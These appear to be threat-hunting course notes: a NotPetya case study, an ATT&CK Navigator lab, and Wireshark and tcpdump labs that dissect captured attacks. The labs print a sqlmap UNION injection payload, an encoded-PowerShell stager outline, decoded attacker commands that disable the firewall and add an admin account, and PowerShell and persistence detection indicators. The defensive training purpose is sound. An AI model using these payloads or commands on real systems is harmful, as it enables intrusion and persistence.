Technical reality: it was actually a wiper, not ransomware — exploited EternalBlue and EternalRomance, used Mimikatz for credential harvesting, and spread via PsExec for lateral movement.

Attribution evolution: early confusion between ransomware and nation-state activity; later formal attribution to the Russian GRU (APT28/Sandworm); the actual target was destabilization of Ukraine and economic damage.

What went wrong in response: the mistaken ransomware classification delayed a proper response; there was a lack of immediate cross-sector sharing; an overemphasis on the malware itself meant the strategic intent behind the attack was missed.

CTI across levels: Strategic — nation-state cyberwarfare and deterrence; Operational — impact analysis across organizations; Tactical — lateral-movement techniques, propagation methods; Technical — IoCs and YARA rules.

Impact: hit Maersk, FedEx (TNT Express), Merck, and Saint-Gobain, with over $10 billion in total damages. Highlight: Maersk rebuilt its entire Active Directory infrastructure from a single untouched domain controller that happened to be in Ghana.

Lessons: attribution isn't just "whodunit" — it's about intent; CTI must continuously reassess the why of an attack; strategic and operational intel can't lag behind technical findings.

Final course takeaways: CTI is dynamic — it must evolve with adversaries; attribution is a lens, not a conclusion; intelligence must be timely, shared, and multi-level; real-world CTI blends strategic insight with technical detail; collaboration is essential — no one organization sees the full picture.

A hands-on lab in the MITRE ATT&CK Navigator (http://localhost:4200), building layers to compare an organization's observed activity against known threat-actor behavior.

Lab environment: GUI access to an Ubuntu machine. The MITRE ATT&CK Navigator is running inside a Docker container.

Objective: Use the MITRE ATT&CK Navigator to perform adversary analysis and complete three tasks — plot observed TTPs, add threat actor layers, and compare/analyze overlap.

Tools: Firefox.

Create a new Enterprise-matrix layer named MyTTPs, filtered to platform Windows, plotting these 10 observed techniques (one per tactic) and scoring each 1:

Setup steps:

1. Create a new layer for the Enterprise matrix.
2. Layer controls → settings — rename to MyTTPs.
3. Layer Controls → filters — deselect all platforms except Windows.
4. Selection Controls → selection behavior — deselect "select techniques across tactics" to avoid plotting the same technique under multiple tactics.
5. Plot the observed TTPs by selecting them one by one while holding Shift.
6. Layer controls → colour setup — Scoring Gradient, add color #43c8bb, set Low value 1 and High value 4.
7. Technique Controls → Scoring — assign a score of 1.

The scored techniques highlight in red.

Two new Windows-platform layers, each built with Selection Controls → search & multiselect → Threat Groups:

• One auto-selecting all techniques used by APT28 (scored 2, highlights yellow).
• One auto-selecting all techniques used by APT41 (scored 3, highlights green).

Same scoring gradient (#43c8bb, 1–4) applied to both layers so the color scale stays consistent across the three layers.

Using "Create Layers from Other Layers" (Enterprise ATT&CK v17.1):

• Score expression a + b (MyTTPs + APT28), gradient imported from MyTTPs, third gradient color changed to #922995 (purple) → overlapping techniques (combined score 3) highlight purple.
• Score expression a + c (MyTTPs + APT41), fourth gradient color changed to #922995 → overlapping techniques (combined score 4) highlight purple.

Finding: APT41 shows a greater number of overlapping techniques than APT28, suggesting APT41 is the more likely threat actor behind the observed activity. The comparison also surfaces clear detection gaps in the Privilege Escalation, Credential Access, and Discovery tactics — flagged as priorities for improved detection coverage.

References: https://github.com/mitre-attack/attack-navigator

• External — no account or authorization on network / system. Range: unskilled attacker → well-funded nation-states.
• Internal — has been granted some level of authorization. Employees, vendors, business partners, etc.
• All attackers have some sort of motivation & intent: financial, political, curiosity, etc. Actions: data theft, vandalism, etc.
• Various levels of skill, funding, and resources:
  • Unskilled using "commodity" malware and tools.
  • Custom zero-day exploits, with government funding.

• Threat actor supported by resources of a host country — military, government, financial, etc.
• Separated from host government / country:
  • Unofficial support.
  • Pose as "hacktivists" or independent groups, other countries.
  • Provides plausible deniability to government.
• Frequently attack using APTs (Advanced Persistent Threat).
• Motivations: espionage, financial, cyber "warfare", disinformation, other political.

• Highly sophisticated and capable of extended attacks.
• Advanced — extensive skills & resources, capable of complex attacks.
• Persistent — able to remain on the network long-term without detection.
• Often sponsored by nation-states (officially or unofficially).
• Often target high-value organizations — government agencies, critical infrastructure, political campaigns, etc. Smaller organizations may be targeted as part of a supply chain attack.
• Motivations similar to nation-states.

• Not necessarily tied to a specific country.
• Very similar to typical organized crime syndicates — cyber attacks vs physical attacks.
• May span multiple regions, jurisdictions — complicates prosecution.
• Common goals are financial profit, carried out through financial fraud and extortion, and data exfiltration (especially PII / PHI & IP).

• Groups of threat actors motivated by political and social causes — Anonymous, WikiLeaks.
• Common goals / motivations:
  • Data theft with intention to release.
  • Defacement of public sites.
  • DoS (denial of service) attacks.
• Often target political and financial groups. May also target media organizations and other companies. Targets depend solely on the group's goals.

• Unskilled attackers
  • Threat actors who may have minimal skills and knowledge.
  • Normally use commonly available tools and malware.
  • May not understand tools or tactics they are using.
  • Often have no specific target or goals — gaining attention, proving their skills & abilities.
• Insider threats
  • Intentional
  • Unintentional
  • Shadow IT

• Path that an attacker takes to gain unauthorized access.
• Common attack vectors:
  • Removable storage
  • Software / hardware vulnerabilities
  • Unsupported or out-of-date systems
  • Images and malicious files
  • Open ports
  • Supply chain

• USB thumb drives, portable HDs, memory cards, (less frequently) CDs.
• Attackers can conceal malware on removable media:
  • Run automatically when inserted.
  • Run when application on drive launched.
• USB drop attack
  • Attackers place removable media around specific locations.
  • Relies on users picking up the drive and inserting out of curiosity.
• Attacks may run automatically or require user action — if action required, social engineering to trick user.

• One of the most common methods for spreading malware.
• Malware can be embedded in legitimate files:
  • Weaponized applications.
  • Macros in Word documents & PDF files.
  • Steganography — concealing information within other messages, commonly used with image files.
• Frequently combined with other vectors to deliver files — email delivery, removable storage.

• Email
  • One of the most common attack vectors.
  • Phishing emails, malicious attachments and links in the message body.
• SMS
  • Frequently used to bypass MFA restrictions.
  • Can also compromise mobile devices — attackers send malicious links / files via SMS.
• Instant Messaging
  • Similar to SMS, but available on more systems.
  • Typically more secure than SMS, but can still contain vulnerabilities.
• Social engineering is the common thread among messaging vectors.

• Attackers frequently look for and exploit vulnerabilities. NIST definition: "Weakness in an information system, system security procedures, internal controls, or implementation that could be exploited or triggered by a threat source."
• Vulnerabilities are very common in all systems — software & hardware.
  • Zero-day — new vulnerability that is being exploited, no fix yet.
• Unsupported systems
  • Not actively maintained or supported by vendor / manufacturer.
  • Commonly do not receive security updates.
  • Contain multiple vulnerabilities and outdated security measures.

• Malware = software that does something bad, from the user perspective — malicious software.
• Various classifications:
  • Virus, worms
  • Trojans
  • Ransomware
  • Potentially unwanted programs (PUPs)
  • Adware / spyware
  • Remote access trojan (RAT)
  • Rootkits
  • Logic bombs

• Malware that attempts to extort a victim for money to recover data:
  • Most will encrypt and only provide decryption after payment — crypto-ransomware.
  • Some is only threatening, without blocking access.
• Will prominently display notice(s) demanding payment or other action.
• Encryption-based can only be remediated by restoring data — possibly by paying ransom, but almost never recommended (sometimes illegal).
• Demand payment via various methods, often cryptocurrency.

• RAT — Remote Access Trojan
  • Remote Administration Tool.
  • Provides attacker with backdoor access to system.
• Command & Control
  • Attacker-controlled infrastructure that compromised systems connect to.
  • C&C or C2.
  • Often use disguised DNS or HTTPS traffic to hide usage.

• Rootkit
  • Malware that can run as unrestricted system processes.
  • Can compromise critical system files and be difficult to detect — high level of access results in effective masking, difficult discovery.
  • Often erases logs to hide evidence of infection.
  • Modern OSes have mechanisms to help prevent.
• Logic bomb
  • Malware designed to not run immediately.
  • Can wait for a predetermined date / time or specific event before executing.
  • Not necessarily typical malware — e.g., a disgruntled system admin leaving a scripted trap.

Threat Hunting → Trigger → Investigate & Analyze → Outcome → Refine Tactics → Reveal New Info → back to Threat Hunting.

• Access to necessary intelligence sources:
  • Paid (or free) feeds / services.
  • Open source intelligence (OSINT).
  • Internal reports.
• MITRE ATT&CK Framework.
• TTPs of potential attackers.
• IOC sources — specific data after hypothesis formed and scope defined.
• Appropriate log data / access — ideally configured well before hunt.
• Availability of all determines hunting capabilities.

Reference: https://attack.mitre.org — the MITRE ATT&CK Matrix.

• Required logging must be in place long before hunting.
  • Minimum of the timeframe that the hunt will possibly cover.
• Specific log sources depend on the organization:
  • Authentication / authorization systems.
  • Endpoints (with Sysmon)
    • File modification (creation, deletion, changes).
    • Registry modifications.
    • Process creation.
  • IPS / IDS / Firewall.
• All stored in centralized location for ease of searching.

• Threat hunts start with a hypothesis — an assumption about malicious activity occurring, that can be tested. Examples:
  • "Threat actors have created scheduled tasks to execute code."
  • "An endpoint has communicated with <malicious IP>."
• Identifies specific behavior / activity to hunt for.
• Requires understanding of attack technique.
• Indicates which data and sources used to detect threat.
• Can be very specific or more vague.

1. Determine tactic / technique or IOC

   Review intelligence & other sources (MITRE ATT&CK).

2. Identify associated procedure(s)

   MITRE ATT&CK as one source. Additional research recommended: prerequisites, other requirements, outcome of success, etc.

3. Determine logs / data required for hunt

   Where do artifacts exist on systems? Files, registry, memory, network traffic, processes, etc.

4. Set scope of hunt

   Systems involved, duration of hunt.

• Hypothesis based on attacker's methods.
• Relies heavily on TTPs — MITRE ATT&CK Matrix.
• Hunt based on possible symptoms of that type of attack.

• Tactic — Persistence
  • "Adversary is trying to maintain their foothold."
• Technique — Create Account
  • Used to maintain access to system.
  • Can establish secondary access without needing persistence remote tools.

Resulting hypothesis: "Attackers have created administrative accounts on endpoints to maintain their access on the network."

• Examine logs from in-scope workstations for evidence of any new account creation.
• Check Active Directory for new accounts created during hunt time frame.
• Examine any network devices in-scope.
• Many accounts may be found — most may be legitimate:
  • Analysis of accounts required (who created, why, when, etc).
  • If suspicious or malicious accounts found:
    • Coordinate with IR team.
    • Continue hunt to determine origin and effects of accounts.

• Hypothesis based on IOCs.
• Sources:
  • Intelligence reports
  • IR / SOC information
  • Security controls
  • Previous threat hunt

Intelligence report from vendor shows attacker is targeting organizations in the same industry.

IPs:

• 123.45.67.89
• 86.75.30.9

SHA256 hashes of malicious executables:

• badfile1.exe — 56e84483194d38026c76785faa2800d2c1e556f8609676e3c83ea454a1a26e24
• badfile2.exe — 55d008cbeaa2a78097d7973c5820bd8d427088387a4b2ca7dd75b09fdb879f2b

Resulting hypothesis: "Attackers have compromised the network, executing files with the attached file names / hashes and are communicating with C2 infrastructure at attached IP addresses."

• Examine logs for in-scope systems for evidence of:
  • Presence or execution of files matching:
    • badfile1.exe
    • badfile2.exe
    • 56e84483194d38026c76785faa2800d2c1e556f8609676e3c83ea454a1a26e24
    • 55d008cbeaa2a78097d7973c5820bd8d427088387a4b2ca7dd75b09fdb879f2b
  • Network communication to or from:
    • 123.45.67.89
    • 86.75.30.9
• If any found, excellent indication of threat — coordinate with IR team, continue hunt.

• Hypothesis based on a specific risk or threat.
• Often starts with assessment of network (or an individual system).

Risk assessment shows that the customer-facing web server farm is at high risk of attack:

• Commonly exploited software.
• Well-known site with large amounts of traffic.
• Significant financial and reputational impact from breach or downtime.

Preparation:

• Research software to determine vulnerabilities / common exploits.
• Use organization's baselines to identify "normal":
  • Geo location of IPs for customers.
  • Common user-agent strings.
  • Normally accessed files on web server.

Resulting hypothesis: "Attackers are targeting the customer ordering portal in an attempt to compromise and steal customer and organization data."

• Based on research, examine logs for evidence of common exploits:
  • HTTP access logs.
  • WAF logs.
• Verify that IPs accessing public server are in line with normal activity — ensure no / minimal traffic from locations with no customers, or known adversarial countries.
• Compare logged activity with documented baseline activity:
  • Normal user-agent strings for browsers.
  • Look for attempts to access "non-standard" files on web server.

• Review available logs and data:
  • Ensure required sources are available.
  • Ensure available time frame is sufficient.
• Ensure "normal" baselines are known:
  • Running processes.
  • User logins (where, who, when, type, etc).
  • Network connections.
  • Services / scheduled tasks.
  • Permitted / approved software.

• Normally performed on SIEM — Splunk, ELK Stack, etc.
• Analysis requires multiple steps: searching, aggregating, filtering. Steps are different depending on hunt.
• Searching
  • Entering a query to attempt to find answers to questions.
  • First searches often require "fine tuning" — change time frame, exclude IPs, filter out user, etc.
  • Continuous process, always adjusting.

• Grouping values within the same fields together.
• Normally sorted by most common or least common.
• Useful for providing a different perspective.

• Search results further expanded to match exact needs.
• Example — Searching for executed PowerShell commands:
  • Simple search results in the command name.
  • Expanded information can include:
    • Full command executed.
    • User who executed command.
    • Which host.
    • How many times command was run.
• Analysis process is very situational.

• Hunts with (primarily) network-based hypothesis and IOCs — not based on TTPs.
• Can begin with:
  • Specific intelligence
  • Reports from SOC / network team
  • Alerts from monitoring systems
• Live network traffic capture.
• Analysis of previously captured packet data.

• "An attacker has compromised the network and is communicating with <IPs>."
• "The network team reports suspicious traffic on port 53. An adversary may be exfiltrating data."

• Intelligence sources:
  • Reports from ISACs / vendor
  • Paid / free feed
  • Network team / SOC
• Network security devices:
  • IDS / IPS
  • Firewalls
• Network traffic captures.
• Local endpoint logs:
  • Applications
  • Sysmon

Example IOCs: 192.168.10.12, malware.bad, TCP 47821.

• IP addresses
  • 123.45.67.89
  • 123.45.67.0/24
  • IPv6 addresses:
    • 2001:0db8:85a3:0000:0000:8a2e:0370:7334
    • 2001:0db8:85a3::8a2e:370:7334
• Domain names
  • Subdomains
  • dm548gfsmn2k562l.malware.bad
  • rnicrosoft.com
  • goggle.com
• Important to check multiple intel sources.

• Protocol on non-typical ports
  • HTTP traffic on port 53.
  • SSH traffic on port 8080.
• Legitimate protocols being used on different ports
  • RDP on port 6645.
  • HTTP on port 52981.
• Protocols being used incorrectly or against standards
  • Traffic indicates it's DNS protocol.
  • Packet contents are C2 communication.

• Traffic patterns
  • Compared to baselines.
  • Any type of unusual protocol usage.
• Volume
  • Larger amount of data transferred than normal.
  • Workstations uploading large volume of data to internet.
• Frequency
  • Activity during evenings / weekends (or other "off" hours).
  • Regular connectivity (every 30 min, 1 hr, etc).
• Source / destination
  • General workstations talking to unusual destinations.
  • Ex: Sales endpoint with SSH connection to foreign country.

• Requires baselines and knowledge of "normal".
• Large amount of data being transferred:
  • Keep eye out for smaller transfers.
  • Base hunt off source / destination, in addition to volume.
• Directions:
  • Internally (machine to machine) → lateral movement, privesc.
  • From inside to outside → data exfiltration.
  • From outside to inside → possible payload download (usually smaller).

• Can be individual devices or configurations on network devices.
• Allows logging / capturing and analysis of traffic.
• Placement in network determines logged traffic:
  • On switch — can see any traffic on that switch.
  • Between two routers — can see traffic between those devices.
• Provide insight into exactly what is happening on the network — possible C2 activity, workstations downloading payloads, data exfiltration.

• Network Tap
  • Usually standalone device (can be built-in to other devices).
  • IPS systems can use this to monitor / block traffic.
  • Three network ports:
    • Traffic between two ports passes through.
    • Traffic is copied and routed to monitor port for logging.
• Port mirroring / SPAN
  • Configuration on network device.
  • One port set up as "mirror" port.
  • All traffic on device copied to that port for logging.
  • Can affect performance and result in dropped packets.

• Wireshark (or similar application).
• Provide ability to capture packets on individual workstation:
  • Does not capture if workstation not source / destination — except broadcasts.
• Encrypted traffic is captured — but still encrypted.
• Can result in very large capture file — capture filters can reduce, but may miss important data.

tcpdump [options] [filter expression]

Example: sudo tcpdump -i eth0

• --list-interfaces
• -c
• -w
• Numerous capture filters.

Reference: https://www.tcpdump.org/manpages/tcpdump.1.html

• Unix library provides capabilities for packet sniffing / analysis.
• Wireshark & tcpdump based on libpcap.
• WinPcap — libpcap library designed for Windows:
  • No longer developed or supported.
  • Replaced with Npcap (created by the Nmap Project).
• Uses Berkeley Packet Filter (BPF) — expressions to filter captured packets, used in multiple applications.

• Network sniffer and protocol analyzer — analysis of all network traffic on computer's network interface.
• Cross platform — Windows / Linux / MacOS.
• Capabilities:
  • Live capture / analysis — save pcap files.
  • Analysis of previous captures.
  • Capture / display filters.
  • "Follow stream."
• TShark — terminal-based Wireshark.

• Unix-based packet sniffer — Linux, FreeBSD, MacOS.
• Intercepts & displays transmitted / received on computer.
• Similar capabilities to Wireshark / TShark.

• NetWitness Investigator
  • Different than full NetWitness SIEM platform.
  • Summarizes contents of pcap files and shows important information — service types, source / destination IP / port, email addresses, hostnames.
• NetworkMiner
  • Capture and analysis.
  • Can summarize information similar to NetWitness Investigator.
  • Keyword searching and anomalies.

• Can only monitor traffic that is destined for the installed machine — unless analyzing a packet capture file (.pcap).
• Filters:
  • Capture filters — live filter, limits captured data. Reduces processing overhead and capture file size.
  • Display filters — can be used during capture, or afterwards. Doesn't reduce processing overhead. Assists with narrowing down what's shown.
• "Follow stream" — isolate specific entry. Follows the communication path and only shows that data.

• Expert information — overview of type of traffic in pcap.
• Captured file properties — information about the file.
• Resolved addresses.
• Protocol hierarchy — summary of protocols.
• Conversations.
• Display filters.
• Follow stream.

TCP 3-Way Handshake: SYN → SYN + ACK → ACK.

ICMP echo: Echo (Ping) Request → Echo (Ping) Response.

DHCP DORA: Discover → Offer → Request → Acknowledgement.

• Typically a query-response protocol.
• Normally uses UDP 53 — many legitimate uses for TCP 53.
• Traffic destination should always be DNS servers.

• HTTP traffic typically requests and responses — messages, responses include 3-digit status code (200, 302, 404, etc).
• HTTP messages include message header and body.
• Methods used to perform various operations — 9 current methods (GET, HEAD, PUT, POST, etc).
• May be more difficult to spot malicious traffic.

• Similar to HTTP, but encrypted.
• Handshake between client & server prior to communication:
  • Agree on protocol version.
  • Cryptographic algorithms selected.
  • Optional mutual authentication.
• Attackers commonly use standard HTTPS ports (443, 8443, etc).
• Non-encrypted traffic on 443 should be suspicious.
• Normally, data exchanged cannot be read — may be able to decrypt with Wireshark or other tools.

Environment: GUI access to a Windows machine. DNS server: 192.168.0.102. Website: ensurance.ine.com. Lookup domains: security.ine.local, cloud.ine.local.

Tools: Wireshark, Firefox Web Browser.

Task 1 — Capture without filters: select "Ethernet 3" and Start Capture. In PowerShell run:

• ping 192.168.0.102
• nslookup security.ine.local
• nslookup cloud.ine.local

Stop capture. Apply display filter arp — Info column shows ARP requests / replies ("Who has… tell…" / "… is at…"). Apply icmp — Echo request from 192.168.0.101 to 192.168.0.102, Echo reply back. Apply dns:

• PTR: 192.168.0.102 → nameserver.ine.local.
• A: security.ine.local → 78.18.98.20; cloud.ine.local → 56.228.0.10.
• AAAA queries return SOA (authoritative name server ns1.ine.local).

Task 2 — Capture filter for DNS only. Re-run the nslookup — only DNS packets appear.

Task 3 — Exclude ARP & ICMP. Capture filter: !(arp or icmp). Re-run the pings/nslookups, visit ensurance.ine.com in Firefox. On stop, apply icmp and arp filters — both empty (confirms filter). Apply http, right-click response 192.168.0.102 → 192.168.0.101 → Follow → HTTP Stream — HTTP GET to ensurance.ine.com, server Apache 2.4.41 on Ubuntu responds 200 OK with gzip-encoded HTML. Save via File → Save.

Environment: GUI access to an Ubuntu machine. DNS server: 192.168.0.101. Website: networknexus.inelabs.com. Lookup domains: codedrift.inelabs.com, frostnova.inelabs.com. Interface: ens5, host IP 192.168.0.102.

Tools: tcpdump, nslookup.

Task 1 — Capture without filters:

sudo tcpdump -i ens5 -n

In a separate terminal:

• ping -c 5 192.168.0.101
• nslookup codedrift.inelabs.com
• nslookup frostnova.inelabs.com

Task 2 — Filter DNS only: sudo tcpdump -i ens5 port 53 -n. Domains resolved: codedrift.inelabs.com → 203.0.113.42; frostnova.inelabs.com → 104.21.45.101. All 8 packets captured, none dropped.

Task 3 — Exclude ARP + ICMP + RDP, save to pcap:

sudo tcpdump -i ens5 -n 'not arp and not icmp and not port 3389' -w filtered_dns_http.pcap

Then run the DNS lookups and curl http://networknexus.inelabs.com. ICMP absent as expected. ls confirms the new pcap file.

Environment: Windows machine. PCAP sus_capture.pcapng on Administrator's desktop.

Tool: Wireshark.

Task 1 — Directory fuzzing & malicious upload:

• Filter http — many GET requests from 10.10.31.2 to random endpoints. Right-click → Follow → TCP Stream — User-Agent reveals FFuF (Fuzz Faster U Fool) v1.3.1 Kali Exclusive <3.
• Filter http.response.code == 200 && http.server contains "Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12". Apply Request URI as column — endpoints discovered: /dashboard/, /img/, /icons/, /xampp/, /uploads/, /upload.php.
• Filter http.request.uri contains "/uploads/" || http.request.uri contains "/upload.php". Frame 86711 is a POST — Follow TCP Stream — attacker uploaded update.bat. Contents: 2>NUL & @CLS & PUSHD "%~dp0" to hide errors, then powershell.exe -nol -nop -ep bypass, then DEL "%~f0" self-delete. -enc flag indicates Base64-encoded PowerShell payload. Response 200 OK. Next stream confirms file dropped in /uploads (directory listing enabled).
• Infected machine IP: 10.0.21.105.

Task 2 — Detect C2:

• Filter http.request.method == "GET" && !(frame contains "User-Agent: Fuzz Faster U Fool v1.3.1 Kali Exclusive <3"). GET requests from the infected machine to unusual URIs: /admin/get.php, /news.php, /login/process.php — PowerShell Empire default C2 URIs.
• Filter down and Follow TCP Stream — default Empire agent User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko. Empire operates in Staging (three request-response exchanges — GET with cookie, POST + encrypted message, POST + larger encrypted payload) then Command / Post-Exploitation (GET beacons, 200 OK default response with header Microsoft-IIS/7.5, default response body is a 404 page).
• Statistics → I/O Graphs on the beacon filter — GET beacons approximately every 5 seconds (default Empire callback interval).

Conclusion: attacker fuzzed the app, uploaded a PowerShell Empire stager to /upload.php, established C2 via /admin/get.php, /news.php, /login/process.php.

Environment: Windows machine. PCAP maltraffic01.pcapng on Desktop. Compromised host at Fincorp Technologies: 172.31.28.165.

Tools: Wireshark, CyberChef.

• Filter http — repeated communication between the compromised machine and 13.229.225.164. Filter dns — that IP resolves to updatesrv.strangled.net.
• Follow → TCP Stream of first HTTP frame — GET to /b1x1521-1962-4b50-2c7z-94253dyq1341?cid=officedesk01. Response body: AccessCode Sent. Later frames: GET /job?cid=officedesk01 with empty 200 responses — beaconing. Request User-Agent python-requests, Host updatesrv.strangled.net:8000. Response Server header BaseHTTP/0.6 Python/3.12.3. Python-based implant polling for tasks.
• Frame 11992 — Follow TCP Stream — response contains base64 blob IyAqPj4sY3ozKTM=. Next stream — POST /output with body starting OUTPUT: followed by base64 blob. This is the encoded command result being exfiltrated.
• Filter dns — very long suspicious A-record query from compromised host to 13.229.225.164: VEhFX1NFQ1VSRV9YT1JfS0VZX0ZPUl9DMl9FTkNSWVBUSU9OX1RSQU5TTUlTU0l.PTl9PVkVSX0NIQU5ORUxfX19fX18.strangled.net. Base64-decoding the string before the second dot yields the XOR key: THE_SECURE_XOR_KEY_FOR_C2_ENCRYPTION_TRANSMISSION_OVER_CHANNEL__.
• In CyberChef: From Base64 → XOR (UTF8, that key). Decoding IyAqPj4sY3ozKTM= yields whoami /all. Decoding subsequent commands reveals:
  • Listing local Administrators group members.
  • Disabling Windows Defender Firewall for all profiles.
  • Listing saved credentials for current user.
  • Creating local user ducky with password pass.
  • Adding ducky to the local Administrators group.
• Filter imap — compromised host talking to mail server 54.169.28.158. Follow TCP Stream — employee jane.smith@staff.fincorp.com received an urgent phishing email from badguy@finc0rp.com (note domain spoof — finc0rp not fincorp) instructing her to download and run attachment update.exe. This is the initial foothold.

Environment: Windows machine. PCAP mal_capture.pcapng on Administrator's desktop.

Tool: Wireshark.

Task 1 — Malicious TCP: Statistics → Conversations → TCP tab. Attacker 192.13.139.2 using same source port targeting many destination ports (Port B). Sort by Port B — range scanned is 1–9999. Alternative filter for SYN / stealth scans:

tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size <= 1024 — matches nmap -sS <target>.

Task 2 — Malicious HTTP (SQLi):

• Filter http. Frame 20126 is POST to login. Follow HTTP Stream — attacker logged in with common creds tester:tester, redirected to /dashboard.
• Unusual requests to /emergency_physicians/1. Frame 20522 — User-Agent is sqlmap. Authenticated SQL injection. Server returns 500 Internal Server Error — bottom of response: sqlite3.OperationalError: ... — DB is SQLite.
• Frame 21247 — URL-decoded payload:

  -7324 UNION ALL SELECT NULL,'qxxpq'||JSON_GROUP_ARRAY(COALESCE(tbl_name,' '))||'qbqvq',NULL,NULL,NULL FROM sqlite_master WHERE type='table'-- bTNt

  Extracts table names. Response HTML: <h2>Name: qxxpq["er_doc","users"]qbqvq</h2>.
• Frame 21277 — payload extracts the users CREATE TABLE statement. Schema: id INTEGER PRIMARY KEY, username TEXT UNIQUE, password TEXT, isAdmin BOOLEAN, isActive BOOLEAN.
• Frame 21307 — payload dumps rows from users. Dumped:

Task 3 — Malicious DNS:

• Filter dns. Frames 23738 & 23740 — DNS zone transfer (AXFR) request for ine.local. Response 23740 (expand DNS → Answers) — successful zone transfer, all subdomain records dumped.
• Many DNS requests prefixed with dnscat — dnscat2 covert-channel over DNS, used for C2 / data exfiltration. Encrypted by default.

Task 4 — Malicious ICMP:

• Filter icmp. Frames 29380–29464 show suspicious ICMP echo activity between two machines.
• Frame 29380 Data: BOFstoleninfo.txt — beginning of a file transfer.
• Frame 29382 Data: SEND — server command to begin.
• Frame 29457 — exfiltrated plaintext content of the file.
• Frame 29459: OK — acknowledgment.
• Frame 29462: EOFstoleninfo — end-of-file marker.
• Frame 29464: COMPLETE — final confirmation.
• Pattern: command-response cycle with data embedded in ICMP payloads — data exfiltration over ICMP.

• Endpoint-based IOCs and hypotheses.
• IOC or TTP hunts — IOCs can be endpoint or network types.
• Can begin with:
  • Specific intelligence information.
  • Reports from IR / SOC teams.
• Typically performed on collected logs:
  • Authentication, web, applications, system events, etc.
  • PowerShell logging is critical.
  • Ingested from multiple locations.
  • Aggregated into central location (SIEM).

• "Attackers have compromised a workstation and are executing files with these hashes and communicating with a C2 server at <IP>."
• "Attackers have established a foothold on the network and created admin accounts to maintain their access."

• Intelligence sources: reports from ISACs / vendor, paid / free feed, network team / SOC.
• System logs: built-in events, applications, Sysmon.
• Commonly correlated with others.

Example IOCs: HKLM/KEY, malware.exe, MD5, SHA256.

• Filenames
  • Not most reliable — can easily be changed.
  • Still include in searches, especially if known unique or a known pattern.
• File hashes
  • MD5 & SHA256 are most common to see.
  • Examples: E6CD360FDEFE3EDF307C49612478D386; 85325FC3DF13AC10D514EB7E6B8F3BE85E62BF6220FFA46CB161A506C0488307.
  • Fairly easy to modify.
• File path
• File size

• Registry keys
  • reg add
  • \Software\Microsoft\Windows\CurrentVersion\Run
  • Sysmon event ID 12/13/14, Windows Event ID 4657.
• Scheduled tasks
  • schtasks /create
  • Windows Event ID 4698 (create), 4701 (disable), 4702 (update).
• Windows services
  • sc.exe create
  • Event IDs 4698 / 7045 (new service).
• Windows processes
  • Any running executable or Windows system process.
  • Unusually named or excess running processes.
  • Renamed file running as "legitimate" system process.
• Event IDs
  • 1102 — audit log cleared.
  • 4624 & 4625 — successful & failed logons.
• PowerShell
  • Event IDs 4103 & 4104 — module logging & scriptblock logging.
  • Invoke-Expression (iex)
  • Invoke-WebRequest (iwr)
  • EncodedCommand

• Unexplained / unusual activity.
• Deviations from baselines
  • Security settings, local firewall configuration.
  • Installed software.
• Phishing — email itself, also indicators inside email.
• New user creation
  • Frequently used for persistence.
  • Event ID 4720.
• File downloads — PowerShell or other utilities (certutil.exe).

• Identification:
  • Name
  • PID
  • Executable path
• Key questions to answer to determine if legitimate:
  • Did the expected parent process spawn this process?
  • Is it running from the expected location?
  • Is it spelled correctly?
  • Is it signed by MS?

• Any process that runs a child process of:
  • cmd.exe
  • wscript.exe
  • powershell.exe
• Sysmon Event IDs:
  • 1 — Process creation.
  • 10 — ProcessAccess.

• Processes running in background.
• Multiple ways of starting:
  • On boot (automatic).
  • Manually by user or trigger.
• Used by attackers for persistence — malicious process to start at boot, connect to C2 infrastructure, ensure elevated access.

• Create new service:
  • sc.exe create
  • PowerShell New-Service
  • WMI commands
  • Registry modifications — HKLM\SYSTEM\CurrentControlSet\Services\
  • Third-party tools
• Modify / replace existing service — change executable.
• Change recovery options on service — run program when service fails.

• Any application can create a service.
• Service creation indicators:
  • sc.exe create in logs.
  • New-Service in logs.
  • reg add in HKLM\SYSTEM\CurrentControlSet\Services\ — Sysmon Event ID 12, 13, 14 (RegistryEvent).
  • Event ID 4697 or 7045.
• Unrecognized / unauthorized users creating / modifying services.

• Automated tasks to run programs or scripts.
• Multiple triggers:
  • Date / time
  • Regular intervals (ex: every 2 weeks)
  • At log on, start up
  • Workstation lock / unlock
• Frequently used by attackers for persistence and stealth.

• Malicious task creation:
  • Command line: schtasks /create
  • PowerShell: New-ScheduledTask
  • GUI: Task Scheduler — can be harder to detect in hunts.
• Modify existing tasks:
  • schtasks /change
  • Set-ScheduledTask
• If using PowerShell, command may be encoded.

• Task creation indicators:
  • schtasks /create
  • New-ScheduledTask
  • Event ID 4698 — Scheduled Task Created.
  • Event ID 4700 — Scheduled Task Enabled.
  • Event ID 106 — Scheduled Task Created (in Task Scheduler channel).
• Task modification indicators:
  • schtasks /change
  • Set-ScheduledTask
  • Event ID 4702 && 140 — Scheduled Task Updated.

• Part of Sysinternals suite.
• Monitors system and logs activity to Windows event log — additional logging not built in to Windows: file creation, network connections.
• Operates as Windows system service / device driver — runs as protected process.
• Should be installed on all endpoints as necessary — some data not logged by default Windows Events.
• Logged events (ideally) forwarded to SIEM.

• Logs process creation with full commands entered — includes current and parent process.
• Records hash of executed files — multiple algorithms.
• Logs driver and DLL loading with signatures and hashes.
• Can log network connections — source process, IP address, port number, hostname.
• File creation / overwrite information — including changes in file creation timestamp.

• Security Information & Event Management (SIEM).
• Log / data analysis.
• Collects logs from multiple sources — aggregation and correlation.
• Capable of real-time analysis and alerting.
• Dashboards & visualizations.
• Raw log searches (SPL).
• Add-on applications to extend functionality.

Splunk Architecture: Forwarder(s) → Indexer → Search Head.

• Index
• Sourcetype
• Filters
• Pipes
• Commands: table, stats, sort, top, dedup
• Field=value
• Boolean logic & grouping
• Raw event search vs transforming search

• Good queries start with good hypotheses — know what you're looking for.
• Example: "Attackers are running suspicious scripts from temporary folders."
  • Search possibilities:
    • .ps1 files executed within scope timeframe.
    • Any non-executable from C:\Windows\Temp or C:\Temp.
    • Script files created in temp folders.

• New user creation.
• Brute force attempts.
• Unexpected outbound network connections.
• Suspicious PowerShell activity — encoded commands, downloads.
• Looking for persistence techniques — scheduled tasks, autorun, malicious services.

• Ensure proper time range is appropriate for hunt.
• Format results into tables for easier readability — useful for summary of information.
• Use stats, count, sort, top & rare.
• Remember | to add functionality:
  • where — filters results further.
  • eval — rename fields, create new fields based on calculations.

• Threat hunting is proactive — not relying on alerts or notifications.
